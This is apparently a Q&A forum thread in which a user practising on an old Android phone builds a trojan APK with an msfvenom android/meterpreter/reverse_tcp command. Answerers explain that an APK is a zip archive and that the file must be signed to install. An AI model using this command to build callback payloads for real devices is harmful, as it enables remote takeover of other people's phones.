1

I have been practicing using an old Android device and Kali Linux. I set up the trojan .apk file like normal, using the command

msfvenom -p android/meterpreter/reverse_tcp LHOST=MyIP LPORT=RandomPort R> /root/Android.apk

It created an .apk at first, but when the process finished, it gave me a .zip file with manifests and application signatures.

Is there something I am doing wrong when I am creating this file? Or is there a way to convert these .zip files to .apk files?

4
  • 2
    It's not really clear what you are asking. Every apk is a zip file. How did you determine that your file is not a apk but a zip file?
    – Josef
    Commented Jan 17, 2017 at 9:50
  • Also: Are you sure that you don't have a default program associated with the extension? ie - 7zip automatically opens the apk and you assume that it's a zip archive. Also, simply try changing the extension and install.
    – thel3l
    Commented Jan 17, 2017 at 9:54
  • On my desktop it came up as a zip file. I also know its not a apk file becauss I tried to install it on my device. Its came up with an error stating that the application cannot be installed
    – GipsyD
    Commented Jan 17, 2017 at 9:54
  • I never taught about the defaults. I will look into that ASAP
    – GipsyD
    Commented Jan 17, 2017 at 9:55

1 Answer 1

3

The command is ok and apk file is created.

An apk file really is a zip file with the extension changed (as @Josef said in comments), so your problem is other. Maybe you have apk files associated in your O.S. to a program which usually open zip files and that's because you are thinking is a zip file but it is an apk file. Checkout that!

EDIT Look at this. Try to sign your file.

4
  • So will the apk files have things like a META-INF folder and so on?
    – GipsyD
    Commented Jan 17, 2017 at 11:25
  • Now that I think about it. I think that the problem is that the .apk is not signed, so that may be causing the problem
    – GipsyD
    Commented Jan 17, 2017 at 11:42
  • 1
    Could be... I edited my answer. Check it out! Commented Jan 17, 2017 at 12:00
  • Absolutely terrific! It worked! It turns out that the apk had to be signed, otherwise it would not work. Thank you so much! I cannot thank you enough!
    – GipsyD
    Commented Jan 17, 2017 at 12:10

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .